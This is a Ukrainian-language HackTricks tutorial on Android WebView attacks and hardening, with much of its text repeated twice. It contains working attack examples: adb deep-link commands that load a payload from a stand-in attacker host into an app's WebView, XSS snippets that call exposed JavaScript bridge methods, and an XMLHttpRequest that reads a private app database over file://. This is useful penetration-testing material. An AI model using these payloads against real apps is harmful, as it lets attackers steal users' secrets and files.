Webview Attacks
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Критичним аспектом розробки для Android є правильне оброблення WebViews. Цей посібник підкреслює ключові конфігурації та практики безпеки для зменшення ризиків, пов'язаних з використанням WebView.
File Access in WebViews
За замовчуванням WebViews дозволяють доступ до файлів. Ця функціональність контролюється методом setAllowFileAccess()
, доступним з рівня API Android 3 (Cupcake 1.5). Додатки з дозволом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з зовнішнього сховища, використовуючи схему URL файлу (file://path/to/file
).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Ця застаріла функція дозволяла крос-доменні запити з URL файлів, що становило значний ризик безпеки через потенційні атаки XSS. Налаштування за замовчуванням вимкнено (
false
) для додатків, що націлені на Android Jelly Bean та новіші версії. - Щоб перевірити це налаштування, використовуйте
getAllowUniversalAccessFromFileURLs()
. - Щоб змінити це налаштування, використовуйте
setAllowUniversalAccessFromFileURLs(boolean)
. - File Access From File URLs: Ця функція, також застаріла, контролювала доступ до вмісту з інших URL схем файлів. Як і універсальний доступ, її значення за замовчуванням вимкнено для підвищення безпеки.
- Використовуйте
getAllowFileAccessFromFileURLs()
для перевірки таsetAllowFileAccessFromFileURLs(boolean)
для налаштування.
Secure File Loading
Для вимкнення доступу до файлової системи, одночасно отримуючи доступ до активів і ресурсів, використовується метод setAllowFileAccess()
. З Android R і вище, налаштування за замовчуванням - false
.
- Перевірте за допомогою
getAllowFileAccess()
. - Увімкніть або вимкніть за допомогою
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Клас WebViewAssetLoader є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, узгоджуючись з політикою того ж походження, що полегшує управління CORS.
loadUrl
Це загальна функція, що використовується для завантаження довільних URL в webviwe:
webview.loadUrl("<url here>")
Звичайно, потенційний атакуючий ніколи не повинен мати можливість контролювати URL, який завантажує додаток.
Обробка JavaScript та Intent Scheme
- JavaScript: Вимкнено за замовчуванням у WebViews, його можна увімкнути за допомогою
setJavaScriptEnabled()
. Рекомендується бути обережним, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки. - Intent Scheme: WebViews можуть обробляти схему
intent
, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Приклад вразливості пов'язаний з відкритим параметром WebView "support_url", який можна експлуатувати для виконання атак міжсайтового скриптування (XSS).
Приклад експлуатації за допомогою adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Функція, що надається Android, дозволяє JavaScript у WebView викликати функції рідного Android додатку. Це досягається за допомогою методу addJavascriptInterface
, який інтегрує JavaScript з рідними функціональностями Android, що називається WebView JavaScript bridge. Рекомендується бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об'єкта JavaScript Interface, що становить ризик безпеки, якщо чутлива інформація буде розкрита через ці інтерфейси.
- Вимагається крайня обережність для додатків, що націлені на версії Android нижче 4.2 через вразливість, що дозволяє віддалене виконання коду через шкідливий JavaScript, експлуатуючи рефлексію.
Implementing a JavaScript Bridge
- JavaScript інтерфейси можуть взаємодіяти з рідним кодом, як показано в прикладах, де метод класу відкритий для JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge активується шляхом додавання інтерфейсу до WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Потенційна експлуатація через JavaScript, наприклад, через атаку XSS, дозволяє викликати відкриті Java методи:
<script>
alert(javascriptBridge.getSecret())
</script>
- Щоб зменшити ризики, обмежте використання JavaScript bridge кодом, що постачається з APK, і забороніть завантаження JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний рівень API на 17.
Виконання віддаленого коду на основі рефлексії (RCE)
- Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація
@JavascriptInterface
запобігає несанкціонованому доступу до методів, обмежуючи площу атаки.
Віддалене налагодження
- Віддалене налагодження можливе за допомогою Chrome Developer Tools, що дозволяє взаємодіяти та виконувати довільний JavaScript у вмісті WebView.
Увімкнення віддаленого налагодження
- Віддалене налагодження можна увімкнути для всіх WebView в додатку шляхом:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Щоб умовно увімкнути налагодження на основі стану налагодження програми:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Екстракція довільних файлів
- Демонструє екстракцію довільних файлів за допомогою XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Критичним аспектом розробки для Android є правильне оброблення WebViews. Цей посібник підкреслює ключові конфігурації та практики безпеки для зменшення ризиків, пов'язаних з використанням WebView.
File Access in WebViews
За замовчуванням WebViews дозволяють доступ до файлів. Ця функціональність контролюється методом setAllowFileAccess()
, доступним з рівня API Android 3 (Cupcake 1.5). Додатки з дозволом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з зовнішнього сховища, використовуючи схему URL файлу (file://path/to/file
).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Ця застаріла функція дозволяла крос-доменні запити з URL файлів, що становило значний ризик безпеки через потенційні атаки XSS. Налаштування за замовчуванням вимкнено (
false
) для додатків, що націлені на Android Jelly Bean та новіші версії. - Щоб перевірити це налаштування, використовуйте
getAllowUniversalAccessFromFileURLs()
. - Щоб змінити це налаштування, використовуйте
setAllowUniversalAccessFromFileURLs(boolean)
. - File Access From File URLs: Ця функція, також застаріла, контролювала доступ до вмісту з інших URL схем файлів. Як і універсальний доступ, її значення за замовчуванням вимкнено для підвищення безпеки.
- Використовуйте
getAllowFileAccessFromFileURLs()
для перевірки таsetAllowFileAccessFromFileURLs(boolean)
для налаштування.
Secure File Loading
Для вимкнення доступу до файлової системи, одночасно отримуючи доступ до активів і ресурсів, використовується метод setAllowFileAccess()
. З Android R і вище, налаштування за замовчуванням - false
.
- Перевірте за допомогою
getAllowFileAccess()
. - Увімкніть або вимкніть за допомогою
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Клас WebViewAssetLoader є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, узгоджуючись з політикою Same-Origin, що полегшує управління CORS.
loadUrl
Це загальна функція, що використовується для завантаження довільних URL у webviwe:
webview.loadUrl("<url here>")
Звичайно, потенційний атакуючий ніколи не повинен мати можливість контролювати URL, який завантажує додаток.
Глибоке посилання в внутрішній WebView (кастомна схема → WebView sink)
Багато додатків реєструють кастомні схеми/шляхи, які перенаправляють URL, наданий користувачем, в WebView всередині додатка. Якщо глибоке посилання експортується (VIEW + BROWSABLE), атакуючий може змусити додаток відобразити довільний віддалений контент у контексті його WebView.
Типовий шаблон маніфесту (спрощений):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Загальний потік коду (спрощений):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Шаблон атаки та PoC через adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Вплив: віддалена сторінка працює в контексті WebView додатку (куки/сесія профілю WebView додатку, доступ до будь-якого відкритого @JavascriptInterface, потенційний доступ до content:// та file:// в залежності від налаштувань).
Поради для полювання:
- Grep декомпільовані джерела на
getQueryParameter("url")
,loadUrl(
,WebView
sinks, та обробники глибоких посилань (onCreate/onNewIntent
). - Перегляньте маніфест на наявність фільтрів VIEW+BROWSABLE та користувацьких схем/хостів, які відображаються на активності, що пізніше запускає WebView.
- Перевірте, чи є кілька шляхів глибоких посилань (наприклад, шлях "зовнішнього браузера" проти "внутрішнього webview") і надайте перевагу тому, що відображається всередині додатку.
Увімкнення JavaScript перед перевіркою (помилка порядку перевірок)
Частою помилкою зміцнення є увімкнення JavaScript або налаштування розслаблених параметрів WebView перед завершенням остаточного списку дозволених/перевірки цільового URL. Якщо перевірка є непослідовною між допоміжними засобами або відбувається занадто пізно, зловмисник може отримати доступ до стану, де:
- Налаштування WebView застосовуються (наприклад,
setJavaScriptEnabled(true)
), і - Ненадійний URL завантажується з увімкненим JavaScript.
Шаблон помилки (псевдокод):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Чому це вразливо
- Непослідовна нормалізація: допоміжні засоби розділяють/перебудовують URL по-різному, ніж фінальна перевірка, створюючи невідповідності, які може експлуатувати шкідливий URL.
- Неправильний порядок виконання: увімкнення JS на етапі 2 застосовується глобально до екземпляра WebView, впливаючи на фінальне завантаження, навіть якщо перевірка пізніше зазнає невдачі.
Як протестувати
- Створіть глибокі посилання, які проходять ранні перевірки і досягають сайту конфігурації WebView.
- Використовуйте adb для запуску неявних намірів VIEW, які передають параметр
url=
, контрольований вами:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Якщо експлуатація успішна, ваш вантаж виконує JavaScript у WebView додатку. Звідти досліджуйте відкриті мости:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Захисні рекомендації
- Канонізуйте один раз; строго перевіряйте проти єдиного джерела правди (схема/хост/шлях/запит).
- Викликайте
setJavaScriptEnabled(true)
лише після проходження всіх перевірок у білому списку і безпосередньо перед завантаженням довіреного контенту. - Уникайте відкриття
@JavascriptInterface
для ненадійних джерел; надавайте перевагу контролю за кожним джерелом. - Розгляньте можливість використання окремих екземплярів WebView для довіреного та ненадійного контенту, з вимкненим JS за замовчуванням.
Обробка JavaScript та Intent Scheme
- JavaScript: Вимкнений за замовчуванням у WebViews, його можна увімкнути за допомогою
setJavaScriptEnabled()
. Рекомендується обережність, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки. - Intent Scheme: WebViews можуть обробляти схему
intent
, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Приклад вразливості включав відкритий параметр WebView "support_url", який можна було експлуатувати для виконання атак міжсайтового скриптування (XSS).
Приклад експлуатації з використанням adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Функція, що надається Android, дозволяє JavaScript у WebView викликати функції рідного Android додатку. Це досягається за допомогою методу addJavascriptInterface
, який інтегрує JavaScript з рідними функціональностями Android, що називається WebView JavaScript bridge. Рекомендується бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об'єкта JavaScript Interface, що становить ризик безпеки, якщо чутлива інформація буде розкрита через ці інтерфейси.
- Вимагається крайня обережність для додатків, що націлені на версії Android нижче 4.2 через вразливість, що дозволяє віддалене виконання коду через шкідливий JavaScript, експлуатуючи рефлексію.
Implementing a JavaScript Bridge
- JavaScript інтерфейси можуть взаємодіяти з рідним кодом, як показано в прикладах, де метод класу відкритий для JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge активується шляхом додавання інтерфейсу до WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Потенційна експлуатація через JavaScript, наприклад, через атаку XSS, дозволяє викликати відкриті Java методи:
<script>
alert(javascriptBridge.getSecret())
</script>
- Щоб зменшити ризики, обмежте використання JavaScript bridge кодом, що постачається з APK, і забороніть завантаження JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний рівень API на 17.
Виконання віддаленого коду на основі рефлексії (RCE)
- Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація
@JavascriptInterface
запобігає несанкціонованому доступу до методів, обмежуючи поверхню атаки.
Віддалене налагодження
- Віддалене налагодження можливе за допомогою Chrome Developer Tools, що дозволяє взаємодіяти та виконувати довільний JavaScript у вмісті WebView.
Увімкнення віддаленого налагодження
- Віддалене налагодження можна увімкнути для всіх WebView в додатку, виконавши:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Щоб умовно увімкнути налагодження на основі стану налагодження програми:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Екстракція довільних файлів
- Демонструє екстракцію довільних файлів за допомогою XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
References
- Огляд векторів атак на доступ до файлів Android WebViews
- WheresMyBrowser.Android (демо-додаток)
- Посилання на Android WebView
- Глибокі посилання та експлуатація WebViews – Частина II
- Глибокі посилання та експлуатація WebViews – Частина I
- Ланцюг експлуатації Samsung S24 Pwn2Own 2024 – покрокове керівництво
- Pwn2Own Ірландія 2024 – ланцюг атак Samsung S24 (біла книга)
- Відео демонстрації
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.